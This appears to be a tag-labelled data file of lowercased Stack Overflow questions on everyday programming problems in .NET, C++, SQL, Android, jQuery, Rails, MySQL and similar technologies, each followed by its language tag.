.net naming convention: is there a semantic difference between length and count   in order to to get the number of subitems in dotnet sometimes i have to ask a property lenght sometimes i have to ask a property count.     is there any reason for the distinction     example:   <pre><code>   int[] a; if (a.length == 0) ....    ilist&lt;int&gt; b; if (b.count == 0) .... </code></pre>   note <a href= https://stackoverflow.com/questions/2521592/difference-between-ienumerable-count-and-length >difference between ienumerable count() and length</a> sounds similar but does not answer the semantic between length and count,.net
how do i return an array of pointers in a function   so i have an array of pointers that references 3 instances of a class  i need to create a function that gets the references to those 3 instances and returns it into that array.    here is what i have been trying:   <pre><code>#include&lt;cstdlib&gt; #include&lt;cinttypes&gt; #include&lt;random&gt;  //random number generator uint8_t rand(uint8_t max){     std::default_random_engine generator;     std::uniform_int_distribution&lt;uint8_t&gt; distribution(0 max);      return distribution(generator); }  class myclass{     //... } myclass[100];  myclass * getreferences(){ //what should the type of this be      myclass * arrayofpointers[3];      for(uint8_t i=0;i&lt;2;++i){         arrayofpointers[i]=&amp;myclass[rand(2)];     }      return arrayofpointers; }  int main(){     myclass * arrayofpointers[3]=getreferences();      return exit_success; } </code></pre>,c++
c++: call overrided method in base class s constructor  suppose i have a <strong>base class a</strong> and a <strong>derived class b</strong>. b s constructor calls the constructor of a  in which i call a function  say <code>func</code> to do some type-dependent thing. i mean  i have a do-nothing <code>func</code> for a and override this method in b.      my problem:<br> in the very phase of construction of b  that is  in the constructor of a  what is the type of the object  while  i think it s a. but i m not sure. if it is a  i m always calling a s <code>func</code> right  regardless of the type of the object i want to construct.<br> in vs  in b s constructor  i see the type for  this  is  b . while i step into and in a s constructor  i see type for  this   a .,c++
system.threading.timers vs windows service vs schedule tasks  for a task that should be done every hour  which one do you recommend and why <br> since system is running real time applications with high load of cpu and memory and i/o  i want best approach with minimum overhead of checking if it is time to do task or not!    edit: it s possible that the task takes more than one hour to perform it s job so it shouldn t triggered twice.    edit: i have an application which is doing mass of image processing and i/o on disk and network. the task can be included both in this application or as an external application.,.net
member defined more than once  i am new to the whole get and set thing  but this seems pretty straightforward  don t i set something but just calling <code>this.var = value</code>    <pre><code>public loginview loginview1 { get; set; }  void page_load(object sender  eventargs e) {     this.loginview1 = (loginview)findcontrols.findcontrolrecursive(page   loginview1 );      radgrid radgrid3 = (radgrid)loginview1.findcontrol( radgrid3 );     radgrid radgrid4 = (radgrid)loginview1.findcontrol( radgrid4 );     updatepanel updatepanel1 = (updatepanel)loginview1.findcontrol( updatepanel1 );     loaddata(); } </code></pre>   my error is saying that <code>loginview1</code> is defined more than once. all i want to do is set the global variable on page load.,c#
sql query to check if joining record exists  i have 2 tables - user table (<code>tblusers</code>) and logs table (<code>tbllogs</code>).    the user table contains - <code>userid</code> and <code>username</code>.    the logs table contains - <code>userid</code>  <code>applicationid</code>  <code>applicationname</code>  <code>logondatetime</code>    i want to select all the users and find if they have accessed a particular application (for example <code>applicationid = 3</code>)    <strong>output expected</strong>   <pre><code>userid  username  status </code></pre>   status - if he has visited the <code>applicationid = 3</code> or not.,sql
display the selected item from drop-down box using angularjs <pre><code>car.html      &lt;body ng-app= carservice  ng-controller= selectdropdown &gt;         &lt;div&gt;             car brand:             &lt;select ng-model= userselect &gt;                 &lt;option value=  &gt;--select--&lt;/option&gt;                 &lt;option ng-repeat= manufacturebrand in a  ng-bind= manufacturebrand                   &lt;/option&gt;             &lt;/select&gt;             &lt;input type= button  value= submit  ng-click= checkselection() &gt;             &lt;span color:red&gt;{{msg}}&lt;/span&gt;         &lt;/div&gt;     &lt;/body&gt; </code></pre>   detail.js   <pre><code>var app=angular.module( carservice  []);  app.factory( brandtest  function(){     var brand={};     brand.sample=[ bmw   mercedes   honda ];     return brand; });  app.controller( selectdropdown  [ $scope   brandtest  function($scope brandtest){     $scope.a=brandtest.sample;     $scope.checkselection= function(){         if($scope.userselect !=   &amp;&amp; $scope.userselect !=undefined){         $scope.msg = $scope.userselect;  } } }]); </code></pre>   hi  im trying angularjs newly and im having problem in displaying the selected item from a dropdown.please help how to display the selected item from the drop-down box. thanks in advance.,angularjs
parse error : there is a problem parsing the package  while installing android application  i got this error while installing the android application (<code>parse error : there is a problem parsing the package.</code>). i did the following steps.   <ol> <li> first time i installed the application and it works fine. </li> <li> i made changes to the existing application and change the version no in manifest file.   <pre><code>&lt;manifest xmlns:android= http://schemas.android.com/apk/res/android  package= org.openintents.samples.basicopenardemo  android:versioncode= 2  android:versionname= 1.0.1 &gt; </code></pre></li> <li> then i export the application and finish the code signing process. for this  right click your project node > select export. there you will see a wizard. follow the steps and finish the code signing also. </li> <li> i got the ardemo.apk file  then i changed it’s name to ardemo1.apk </li> <li> then i shipped this apk file to mobiles sd card and started the installation i got the above error. </li> </ol>   i googled  they say that problem with unpacking manifest file.    can anyone tell me what could be wrong with me,android
question about devise  in my dumy rails project  i use devise to provide the login/out and authentication function. but i need provide the virtual user more functionalities. for example upload his avatar picture. then problems comes. it seems that devise is confilict with the  mvc  principle  because i can t the expected user_controlle.rb   let s say i create a model user.rb.    my limited knowledge let me think like this: without the user controller i can t add the  upload avartar picture  action.    so could you tell me how to bypass the limitation of devise in my situation  thanks in advance.,ruby-on-rails
what are the valid server controls that can be used in the customvalidator.controltovalidate property   i m wondering if anyone knows what are the valid asp.net server controls that can be used with the customvalidator.controltovalidate property.      for example i know that you can validate a textbox.    however  when using some other types of controls i receive the following error:   <blockquote>    system.web.httpexception: control  xxx  referenced by the controltovalidate property of  yyy  cannot be validated.  </blockquote>   this happens when using radiobutton controls for example.    is there an established list of valid server controls that can be used in the controltovalidate property,asp.net
last line being printed twice (c++)  i have a text file called scores.txt with the following data:   <pre><code>john t smith 90 eric k jones 103 ram s krishnan 25 marie a bell 50 </code></pre>   i am trying to read the data from this file and print it using the following c++ code:    <pre><code>ifstream input; input.open( scores.txt ); string firstname; char mi; string lastname; int score;  while (input) {     input&gt;&gt;firstname&gt;&gt;mi&gt;&gt;lastname&gt;&gt;score;     cout&lt;&lt;firstname&lt;&lt;   &lt;&lt;mi&lt;&lt;   &lt;&lt;lastname&lt;&lt;   &lt;&lt;score&lt;&lt;endl; }  input.close(); cout&lt;&lt; done &lt;&lt;endl; </code></pre>   the output is:   <pre><code>john t smith 90 eric k jones 103 ram s krishnan 25 marie a bell 50 marie a bell 50 </code></pre>   why is the last line (marie a bell 50) being printed twice  how can i prevent this from happening,c++
android progressbar  hi could some one show me how to add a progress bar to this method :   <pre><code>public boolean sendfile(string path string ip  int port)  {         // todo auto-generated method stub           try {               string[] str = ip.split( \\. );              byte[] ip = new byte[str.length];              for (int i = 0; i &lt; str.length; i++) {                  ip[i] = (byte) integer.parseint(str[i]);               }             socket socket = getsocket(inetaddress.getbyaddress(ip)  port);             if (socket == null) {                 log.i( so sendfile    );                  return false;             }              log.i( socketop    sendfile-1 );             file  f = new file(path);             string filename=path.substring(path.lastindexof( / )+1);             system.out.println( filename: +filename);              fin.filename =  ~ +filename;             bufferedoutputstream out = new bufferedoutputstream( socket.getoutputstream() );              fileinputstream filein = new fileinputstream(f);             log.i( socketop    sendfile-2 );             byte [] buffer  = new byte [(int)f.length()];             system.out.println( so sendfile f.length();  + f.length());             int bytesread =0;             while ((bytesread = filein.read(buffer)) &gt; 0) {                 out.write(buffer  0  buffer.length);                 system.out.println( so sendfile  + bytesread +filename);             }             out.flush();             out.close();             filein.close();             log.i( socketop    sendfile-3 );               } catch (ioexception e) {             return false;                        //e.printstacktrace();         }         //  toast.maketext(this   lvbvhhging...   toast.length_short).show();          return true;          } </code></pre>   thanks in advance.,android
jquery animate:adjust page height automatically  i have a small ajax application thats sends a form and returns data that matches the form values. when the request completes  the form fades out and the result fades in. the problem is that the page loses about 200px of it s height  and the page just removes the extra whitespace  quite roughly. i want it to animate the extra whitespace off smoothly  or just leave the page as is if it is t possible to smoothly animate it. here s the code:   <pre><code>$(function() {     $( .eivk ).click(function() {         $( #verkkokauppainfo ).hide();     });      $( .vk ).click(function() {         $( #verkkokauppainfo ).show();     });          $( .back ).click(function() {         $( #service-test ).show();         $( #resultcontainer ).hide();     });  });  $(function() {     $( #submit ).click(function() {    if ($( input[name= julkaisu ]:checked ).length == 0) {        $( .error ).show();          return false;    }        var datastring = $( #service-test ).serialize();       //alert (datastring);return false;      $.ajax({     type:  post       url:  http://www.kotisivut.name/quizs.php       data: datastring      datatype:  text       error: function(){ alert ( nyt jotakin meni kyllã¤ pahemman kerran pieleen. yritã¤ uudelleen  );  }      success:      function(data) {  $( #resultcontainer ).html(data);  $( #service-test ).fadeout(1400); $( #resultcontainer ).fadein(1500);  $( #page ).animate({     height:  auto    }  1500 );     }    });   return false;      });   });     $(function() {     $( .eivk ).click(function() {         $( #verkkokauppainfo ).hide();     });      $( .vk ).click(function() {         $( #verkkokauppainfo ).show();     });          $( .back ).click(function() {         $( #service-test ).show();         $( #resultcontainer ).hide();     });  });  $(function() {     $( #submit ).click(function() {    if ($( input[name= julkaisu ]:checked ).length == 0) {        $( .error ).show();          return false;    }        var datastring = $( #service-test ).serialize();       //alert (datastring);return false;      $.ajax({     type:  post       url:  http://www.kotisivut.name/quiz.php       data: datastring      datatype:  text       error: function(){ alert ( nyt jotakin meni kyllã¤ pahemman kerran pieleen. yritã¤ uudelleen  );  }      success:      function(data) {  $( #resultcontainer ).html(data);  $( #service-test ).fadeout(1400); $( #resultcontainer ).fadein(1500);  $( #page ).animate({     height:         }  1500 );     }    });   return false;      });   }); </code></pre>   i ve tried using height:auto in the code  but no  it won t do anything. so i think that i have to retrieve the height off the page  and use it to animate the height.,jquery
dbunit.net alternatives  are there other  .net (2.0) unit testing framework for database access code  besides dbunit.net     i ve been trying dbunit.net and some things are not supported. also  the project seems to be in alpha since 22nd may 2006...    we are refactoring our architecture to be able to do tests with mocking frameworks  but until that work is done i d like to have a framework like dbunit.net (but better).,.net
prevent the rounding of double number  in my code  i have a double number <code>2.555</code>. i used <code>%.2f</code> through nslog to display it has <code>2.55</code> but the output is 2.56. it s rounding the number which i don t want it to! i know there is <code>ceil(double)</code> and <code>floor(double)</code> to be used  but they don t aid me here.    <pre><code>double div = a/b; nslog(@ div = %.f   div); </code></pre>,objective-c
strange whitespace after body tag  take a look please at the bottom of the site <a href= http://nurmura.kz  rel= nofollow >http://nurmura.kz</a> just after the blue line there s a white space i have noticed in firefox 18 that blue line should be sticked to the bottom of the window  in google chrome i can t see that. any suggestions on how to get rid of that white space,css
disabling java next generation plugin in java 1.6 through regedit.exe  i am using java 1.6 version. i need to disable the java next generation plugin. i can do this in java control panel (checking/unchecking java next generation plugin manually).     but i need to automate the disabling java next generation plugin. so i followed the below process. <em>hkey_local_machine/software/wow6432node/javasoft/java plug-in/version</em> and made the <em>usenewjavaplugin</em> key value to <em>00000000</em>.     after doing this  in <em>control panel  java next generation plugin</em> is showing as disabled. but there is no effect. why setting <em>usenewjavaplugin</em>  to 00000000 is not working . help me.,java
jquery: dynamic event doesn t work as expected  i am writing jquery code for tab. but i came across a trouble that looks strange.    as far as i know  function on()  binds events dynamically. but this doesn t work like that after [a href] is newly appended.    hope somebody helps me with resolving the problem and thank you for viewing my question.    this is the code i am writing.    <pre><code>&lt;script type= text/javascript &gt;  $(document).ready(function() {  $( #tab_pay a ).on( click   function(event){  event.preventdefault();  var idx = $( #tab_pay li ).index($(this).closest( li ));  var spantext = $( #tab_pay .tab_ov ).find( span ).text();  //removing class and replacing with &lt;a&gt; tag. $( #tab_pay .tab_ov ).removeclass( tab_ov ).find( span ).replacewith( &lt;span&gt;&lt;a href= # &gt;  + spantext +  &lt;/a&gt;&lt;/span&gt; );  $(this).closest( ul ).find( li:eq(  + idx +  ) ).addclass( tab_ov );  //removing &lt;a&gt; var atext = $(this).text(); $(this).replacewith(atext); }); }); </code></pre>      <pre><code>&lt;div id=tab_pay class= tab_pay &gt; &lt;ul&gt; &lt;li class= tab_ov &gt;&lt;span&gt;1&lt;/span&gt;&lt;/li&gt; &lt;li&gt;&lt;span&gt;&lt;a href= # &gt;2&lt;/a&gt;&lt;/span&gt;&lt;/li&gt; &lt;li&gt;&lt;span&gt;&lt;a href= # &gt;3&lt;/a&gt;&lt;/span&gt;&lt;/li&gt; &lt;li&gt;&lt;span&gt;&lt;a href= # &gt;4&lt;/a&gt;&lt;/span&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; </code></pre>,jquery
innertext shows content but doesn t allow me to change it  i have a js function activating after an onclick event on an a tag. here is the code :   <pre><code>(function(mtm) {   mtm.selectallnone = function(e) {     var string = e.target.textcontent || e.srcelement.innertext;     var list = document.getelementbyid( my-div );     var inputs = list.getelementsbytagname( input );     var length = inputs.length;     if (string ==  select all ) {       for (var i=0; i&lt;length; i++) {         if (inputs[i].getattribute( type ) ==  checkbox ) {           inputs[i].setattribute( checked    checked );         }       }       string =  select none ;     }     else {       for (var i=0; i&lt;length; i++) {         if (inputs[i].getattribute( type ) ==  checkbox ) {           inputs[i].removeattribute( checked );         }       }       string =  select all ;     }   }; }(window.mtm = window.mtm || {})); </code></pre>   and on the a tag  here it goes :    <code>&lt;a href= javascript:void(0);  onclick= mtm.selectallnone(event); &gt;select all&lt;/a&gt;</code>    now  while debugging  i can see that  string  contains the text  select all . it goes well through the <code>if (string ==  select all )</code>. and the line <code>string =  select none ;</code> does change the string variable. but it doesn t change the text of the anchor tag.    maybe something obvious,javascript
button_to confirmation not working  i cannot get the delete to do the are you sure confirmation.     <pre><code>&lt;td&gt;&lt;%= button_to  delete    { action:  destroy   id: profile.id}      method: :delete  data: {confirm:  are you sure  } %&gt; &lt;/td&gt; </code></pre>   when i do inspect element i get:   <pre><code>&lt;input name= _method  value= delete  type= hidden &gt; &lt;input data-confirm= are you sure   value= delete  type= submit &gt; &lt;input name= authenticity_token  value= tlkqbz0mi6aq/pmuatvdugbmzabi12orplop5udlmungwhzaii2vyihixfmuxpo6ruqqlkiczqcmfovqqf2n1a==  type= hidden &gt; </code></pre>   here is <code>application.js</code>   <pre><code>//= require rails-ujs //= require turbolinks //= require jquery2 //= require jquery-ujs //= require_tree . </code></pre>   here is the gem gem <code>jquery-rails</code>,ruby-on-rails
css: height:100% vs bottom:0  what is the essential difference between:   <pre><code>position: absolute; top: 0; height: 100%; </code></pre>   and   <pre><code>position: absolute; top: 0; bottom: 0; </code></pre>,css
how to set height of <tr> of both tables which are adjecent and in separate divs   i have 2 tables in two adjecent divs.height of tr(table row) of first table does not match that of second table. i want height of tr(table row) of both tables should be same.so how can i set/adjust height of second(right) tables s tr(table row) according to height of left table s tr(table row)   plz help.. it should work in different resolutions..,html
why is this loop variables always 0   why is this loop giving me always 0 ( columns and rows has a value = 0 always )  there s any mistake  i can t find it!   <pre><code>- (void)drawview:(uiview *)theview {      glloadidentity();     glclearcolor(1.0  1.0  1.0  1.0);     glclear(gl_color_buffer_bit | gl_depth_buffer_bit);       for (int columns = 0; columns &lt; 6; columns++)      {         for (int rows = 0; rows &lt; 2; rows++)          {             nslog(@ drawing  n%f: { rows: %f }  { columns: %f }  { x: %f }  { y: %f }  { z: %f }   rows  columns  columns * rows);          }     } } </code></pre>,objective-c
anguar.js - event listening via $on returns undefined  i m pretty new to angular and was testing around a little bit with a product filter for exercising. i want the product controller to listen to some event. however  i get this error once the site is loaded:   <pre><code>typeerror: undefined is not a function </code></pre>   on the line of $scope.$on. i m pretty sure the $on is the problem.    this may be a really stupid question  but i just cant seem to find any hints on this.    thanks a lot   <pre><code>var testapp = angular.module( marketplace   []);  testapp.controller( productscontroller   [  $http   function($scope  $http){     var products = this;     products.errornotice =   ;     products.currentlyshowingdetails = false;     products.minactualprice = 0;     products.maxactualprice = 0;     products.regions = 0;     products.suppliers = 0;     products.commodities = 0;     products.properties = 0;       $scope.$on( filterchange   function(event  args) {         console.log(args);     }); </code></pre>,angularjs
how to set multiple attributes to the same value   say i have an anchor:   <pre><code>&lt;a id= link  href=   title=  &gt;link&lt;/a&gt; </code></pre>   and i want to set both the href and title to an url at the same time. so something like this:   <pre><code>$( #link ).attr( href title    http://stackoverflow.com ); </code></pre>   is there a way to do something like this,jquery
[uicacheddevicewhitecolor pointsize]: unrecognized selector sent to instance 0x1c424a5c0   the application is crashing when i launch the application. (xcode 9  ios 11)    error:   <blockquote>    *** terminating app due to uncaught exception  nsinvalidargumentexception   reason:  -[uicacheddevicewhitecolor   pointsize]: unrecognized selector sent to instance 0x1c0452870   </blockquote>   thanks,ios
mysql difference between values yesterday and today  i know  it should be simple  yet i can t seem to find a solution or create one.    all i want to do is count the difference between dates.<br> so     5/2 and 5/01 = 4    5/1 and 4/30 = 5    etc.    <a href= https://i.stack.imgur.com/xuyuy.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/xuyuy.png  alt= enter image description here ></a>    this is what i got so far  but i wonder if because some of my rows don t have a value in them that is screwing things up....    <pre><code>select g1.customer_count  (g2.customer_count - g1.customer_count) as diffdaily  from trux_customer_site_service_counts_max_df g1      inner join trux_customer_site_service_counts_max_df g2          on g2.row_number = g1.row_number +1  where g1.customer_count is not null </code></pre>,mysql
peripheral interface controller (pic) using php language  can i program the peripheral interface controller (pic) using php language <br> i searched many websites and they didn t mention any clues. i hope someone here can help me.,php
is there a command in sql like less in linux   i am new to sql and i have a large table with several hundred rows that i need to view all of its row.  is there a command in sql that would act like the less command in linux that would allow me to step one screen height at a time through the output of a select statement  so the pseudo-code for what i m after would be  for example:   <pre><code>select * from table less </code></pre>,sql
error lnk2001 visual c++  i compile this code:   <pre><code>class textbox { public:  struct caret {int x; int y; int index;};     static caret caret;     // more code... } </code></pre>   and i got this error   <pre><code>error lnk2001: unresolved external symbol  public: static struct textbox::caret textbox::caret  ( caret@textbox@@2ucaret@1@a)   </code></pre>   what is my mistake,c++
how to show alert view when we access contact in ios application at very first time when we install application on ios device   when we install new app on ios device  it ask for as a alert view as a  do you want to access iphone contacts in your application. but when i am installing the app first time in ios device  it is not showing any alert view  so how user will know that he can access iphone contacts in  my application.    any solution     thank you,ios
using another one application in one iphone application   anytutorial to use good reader application in iphone sdk  can i use good reader application  in my iphone application,iphone
getting super confused with user associations in rails  i am teaching myself rails and the project that i am working on is an auction site.  the user can be either the seller or the bidder.  when i tried associations  i can get the seller s information to show up but not the bidder s. i have so much and still can t figure it out.  any help would be much appreciated.     <a href= https://github.com/sgrzona/ebay  rel= nofollow >https://github.com/sgrzona/ebay</a>   <pre><code>auction.rb  class auction &lt; activerecord::base   belongs_to :seller  class_name:  user   foreign_key: :user_id   has_many :auction_bids   belongs_to :bidder  class_name:  user   auction_bid.rb  class auctionbid &lt; activerecord::base   belongs_to :bidder  :class_name =&gt;  user   :foreign_key =&gt;  bidder_id    has_one :seller  :class_name =&gt;  user    belongs_to :auction  user.rb  class user &lt; activerecord::base   devise :database_authenticatable  :registerable           :recoverable  :rememberable  :trackable  :validatable    has_many :auctions   has_many :auction_bids </code></pre>   auction_bids_controller.rb   <pre><code>class auctionbidscontroller &lt; applicationcontroller   before_filter :authenticate_user!  only: [:new  :edit  :update  :create  :destroy]    def my     @auction_bids = current_user.auction_bids.order( expires_at asc )   end    def index     @auction = auction.find(params[:auction_id])     @auction_bids = @auction.auction_bids.order( bid desc )   end    def new     @auction = auction.find(params[:auction_id])     @auction_bid = auctionbid.new   end    def show     @auction_bid = auctionbid.find(params[:id])     @auction = @auction_bid.auction   end    def create     @auction = auction.find(params[:auction_id])     @auction_bid = @auction.auction_bids.new(auction_bid_params)      rails.logger.info  \n\n*** #{@auction_bid.inspect}\n       if not_users_own_auction        if @auction_bid.save         redirect_to @auction  :notice =&gt;  you are the current high bidder        else         render :new       end     else       flash[:error] =  you cannot bid on your won auction.        redirect_to @auction     end   end     private    def auction_bid_params     params.require(:auction_bid).permit(:bid)   end    def not_users_own_auction      @auction.seller != current_user   end end </code></pre>   auctions_controller.rb   <pre><code>class auctionscontroller &lt; applicationcontroller   before_filter :authenticate_user!  only: [:new  :edit  :update  :create  :destroy  :my]   before_action :set_auction  only: [:show  :edit  :update  :destroy]   before_action :correct_user  only: [:edit  :update  :destroy ]     # get /auctions   def index     @auctions = auction.all   end    def my     @auctions = current_user.auctions.order( expires_at asc )     @auction_bids = current_user.auction_bids.order( expires_at asc )   end     # get /auctions/1   def show     @auction = auction.find(params[:id])   end    # get /auctions/new   def new     @auction = current_user.auctions.build   end    # post /auctions   def create       @auction = current_user.auctions.build(auction_params)      if @auction.save       redirect_to @auction  notice:  auction was successfully created.       else       render action:  new      end   end    def update     if @auction.update(auction_params)       redirect_to @auction  notice:  auction was successfully   updated.       else       render action:  edit      end   end     # delete /auctions/1   def destroy     if @auction.destroy       redirect_to auctions_url  notice:  auction was successfully destroyed.       else       redirect_to auctions_url  error:  auction could not be destroyed.      end   end     private     # use callbacks to share common setup or constraints between actions.     def set_auction       @auction = auction.find(params[:id])     end      def correct_user       if @auction.seller != current_user         redirect_to auctions_path  error:  not authorized to edit this auction         end     end     # never trust parameters from the scary internet  only allow the white list through.     def auction_params       params.require(:auction).permit(:title  :description  :user_id  :image  :expires_at)     end end </code></pre>,ruby-on-rails
angularjs dynamically expanding table with select  i have data coming from third party system  that makes up a angularjs select. the data may build one or more select.    i can count the number of select (y) it can build select dynamically but select does behaves in weird way when i select options   <pre><code>&lt;td ng-repeat= y in  numcols track by $index  ng-init= mytext= choicecap +$index;mytext2= choicefo +$index &gt;             &lt;select ng-model= mydata[mytext]  &gt;                  &lt;option selected value= mydata[mytext]  &gt; {{mydata[mytext]}} &lt;/option&gt; &lt;option value= mydata[mytext2]  &gt; {{mydata[mytext2]}}&lt;/option&gt;     &lt;/select&gt;     &lt;/td&gt; </code></pre>   here is the data i receive: it can be one or more  of the choicecap and choicefo and do not have preset number of values.   <blockquote>    { choicecap0 : jonny   choicefo0 : mini   choicecap1 : mini   choicefo1 : jonny   choicecap2 : jonny   choicefo2 : mini }  </blockquote>,angularjs
there are no more files error using express 2012 for web  i m using windows 7 64-bit  and getting started on visual studio express 2012 for web. worked through a couple of tutorials ok  but now i am hitting this error (more and more) when i press f5 and it tries to load ie - bombs out with  there are no more files  i have googled extensively and tried ctrl f5  making sure that the page is in design (not source)  setting the page as startup  allowing the vs2012 - and ie! - through the firewall - using bitdefender - but no joy  o:( i even disabled bd but same result.  i can type in the url     localhost:55137/account/login.aspx    and it displays fine. any ideas     just to make it more confusing  on odd occasions  even though the error is displayed  it goes on and loads the page in ie  . . .  go figure!    regards pitters,asp.net
what s the difference between java (programming language) and java (control panel)   probably a stupid question but i would like to know. not even sure what the technical name is (so feel free to edit question if it s unclear) but by  java control panel  i m referring to the component you find in windows control panel:    <img src= https://i.stack.imgur.com/6d58o.png  alt= enter image description here >    i went to the <a href= http://www.java.com/en/download/whatis_java.jsp  rel= nofollow noreferrer >java homepage</a> but i m still not sure... is the java component you see in control panel simply a collection of java programs built-in to all computers  if so  what exactly does it do  is it only relevant to the internet or is it necessary to run other applications or the operating system itself,java
how to make a div onload function   i want to load an html page as a div inside my webpage by removing its html and body tags. but the html page has a <code>&lt;body onload=  ...   &gt;</code>   i need this function to continue working. seems <code>&lt;div onload=  ...   &gt;</code> is not working.  how can i insert this onload function into my website s body (on this page only) without directly editing my original website code (php),javascript
mysql: grouping by day and hours of day  i have a database  and i ve been trying for a while  but i m not getting the results i want. here s a sample of what i have:   <pre><code>+---------+---------------------+ | ammount | date                | +---------+---------------------+ |       1 | 2015-08-25 14:07:00 | |       1 | 2015-08-25 14:12:00 | |       1 | 2015-08-25 15:17:00 | |       2 | 2015-08-25 15:22:00 | |       1 | 2015-08-25 14:27:00 | |       6 | 2015-08-25 14:32:00 | |       1 | 2015-08-26 14:37:00 | |       5 | 2015-08-26 14:42:00 | |       1 | 2015-08-26 16:47:00 | |       2 | 2015-08-26 16:52:00 | +---------+---------------------+ </code></pre>   and this is my query:   <pre><code>select ammount  date from table; </code></pre>   what i want to do is group by the day and the hours of each day  and sum it  pretty much like this:   <pre><code>select sum(ammount)  date from table group by hour(day(date)); </code></pre>   except it groups everything together.,mysql
character matching in mysql <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/369755/how-do-i-do-a-fuzzy-match-of-company-names-in-mysql-with-php-for-auto-complete >how do i do a fuzzy match of company names in mysql with php for auto-complete </a>    </blockquote>     i have a problem related to character matching in mysql.    suppose i have a table which contains a list of names  like elton  angelina  rozy.    if someone queries names like angalina or rosy - where a user can make a spelling mistake - i want to fetch the closest names from the table. what query can be used or what could be the feasible way,mysql
will address of `foo  here be always non-zero   i have the following code:   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  extern void foo(double);  int main(void) {     // printf( address is: %p\n   *foo);      if (foo)         puts( indeed );     else         puts( not );     exit(0); } </code></pre>   it always compiles and prints <code>indeed</code> if line number 7 is commented but gcc warns me that:   <pre><code>the address of  foo  will always evaluate as  true  [-waddress] </code></pre>   however  it doesn t compile if line 7 is uncommented:   <pre><code>/tmp/ccwvhcze.o: in function `main : post.c:(.text.startup+0x5): undefined reference to `foo  collect2: error: ld returned 1 exit status </code></pre>   well  if address is <em>always</em> non-zero according to gcc why does linking fail  of course  i would expect it because <code>foo</code> is just not defined here but why does gcc claim that address will <em>always</em> be non-zero  is it mandated by c standard for all identifiers in the translation unit to always evaluate to true,c
package does not exist in compile  my project was working fine. ut suddenly i started to get errors. <a href= https://i.stack.imgur.com/evf00.png  rel= nofollow noreferrer >enter image description here</a>    meanwhile i can see the package. <a href= https://i.stack.imgur.com/tcucp.png  rel= nofollow noreferrer >enter image description here</a>    i think it may to do with  gradle . i started to use it recently and don t understand this technology well. my build.gradle   <pre><code>    group  www.www  version  1.0-snapshot   apply plugin:  java   sourcecompatibility = 1.8  repositories {     mavencentral()     maven { url  https://jitpack.io  } }  dependencies {     testcompile group:  junit   name:  junit   version:  4.12      compile  com.github.badoualy:kotlogram:1.0.0-rc3      compile  commons-io:commons-io:2.5  } </code></pre>   thanks a lot,java
assembly load error  i receive   <blockquote>    could not load file or assembly    deploylx.licensing.v3    version=3.1.2000.0  culture=neutral    publickeytoken=798276055709c98a  or   one of its dependencies. one or more   arguments are invalid (exception from   hresult: 0x80000003) innerexception:   system.runtime.interopservices.comexception  </blockquote>   on some copiers of windows vista 32bit. the file is there it seems like the copy of vista is missing a native dependency. any ideas how to find a managed assemblies native dependencies,.net
access databasehelper object globally  whenever i need to create sqliteopenhelper  databasehelper  object  i need to pass the context in function call.    <code>dbutils.setentityvalues(this  moduleid  sendto)</code>    the  this  parameter refers to the activity context. each time new databasehelper object is creating and perform db tasks.   <pre><code>databasehelper dbhelper = new databasehelper(context);       try {         dbhelper.opendatabase();          sqlitedatabase db = dbhelper.getreadabledatabase(); </code></pre>   from class files which are not extending activity or application  i cant create databasehelper object. is there any way to get databasehelper object globally  or any way to get the application context in classes that are not activity...     im an android beginner  please suggest some tips..    thanks in advance  joe,android
check if string contains list item  i have the following script to check if a string contains a list item:   <pre><code>word = [ one            two            three ] string =  my favorite number is two  if any(word_item in string.split() for word_item in word):     print  string contains a word from the word list: %s  % (word_item) </code></pre>   this works  but i m trying to print the list item(s) that the string contains. what am i doing wrong,python
shape with different radius corners cannot apply on imageview  so  i have this shape which simply adds corners of radius 25dip to top corners and it works well on any kind of view but imageviews  i also noticed that this behavior happens only on different corners shapes it works fine if shape corners have the same radius.   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;shape xmlns:android= http://schemas.android.com/apk/res/android &gt;     &lt;corners android:radius= 0dip          android:bottomleftradius= 0dip  android:bottomrightradius= 0dip          android:topleftradius= 25dip  android:toprightradius= 25dip /&gt; &lt;/shape&gt; </code></pre>   imageview code sample   <pre><code>        &lt;imageview             android:id= @+id/product_item_thumbnail_iv              android:layout_width= match_parent              android:layout_height= 200dp              android:scaletype= centercrop              android:layout_margin= 1dp              android:adjustviewbounds= true              android:src= @drawable/no_image              android:background= @drawable/product_item_image /&gt; </code></pre>   <strong>what i tried:</strong>   <ul> <li>setcliptooutline(true); doesn t work even on api level above 24</li> <li>wrap imageview in a framelayout and apply the corners to the layout: imageview was not clipped</li> </ul>,android
does missing method signature causes app abort   here s the error message:    warning:  readerappdelegate  may not respond to  -checkfordatabase  (messages without a matching method signature will be assumed to return  id  and accept  ...  as arguments.    i put a breakpoint at the  checkfordatabase  method in the code below  and it never got there... the app died.  i m assuming he warning above has something to do with the abort.  how do i fix this   do i have to declare  checkfordatabase  in my .h file    <pre><code>//---------------    application finished launching    ----------------| - (void)applicationdidfinishlaunching:(uiapplication *)application  {     //  create the d/b or get the connection value     [self checkfordatabase];      }  //--------------    check for database or create it    ----------------| - (void)checkfordatabase  {      nsfilemanager *filemanager = [nsfilemanager defaultmanager];     nsstring *databasepath = [[nssearchpathfordirectoriesindomains(nsdocumentdirectory  nsuserdomainmask  yes) objectatindex:0]              stringbyappendingstring:@ /ppcipher.s3db ];      if(![filemanager fileexistsatpath:databasepath]) {  //database doesn t exist yet  so we create it...         nsstring *defaultdbpath = [[[nsbundle mainbundle] resourcepath] stringbyappendingstring:@ /ppcipher.s3db ];         // remainder of code goes here...     } } </code></pre>,objective-c
jquery: extracting the hrefs from multiple links on a page  i discovered that .attr() only applies to the first matched element on the page! so  i ve been trying to get the hrefs from all the matched elements on a page  but to no avail.     here s what i tentatively wrote:   <pre><code>    var thelinks = $( td a ).each(function(){     $(this).attr( href );     document.write(thelinks); }); </code></pre>   i used document.write just to see what was going on  and i got a long list of  undefinedundefinedundefined     what i m trying to do is extract the hrefs from each td a and then use ajax to visit those pages and do other stuff. i can get it work fine when it s dealing with just one link  but this multiple elements thing i can t figure out.    any help rendered is appreciated  i m a novice to the world of javascript and jquery.,jquery
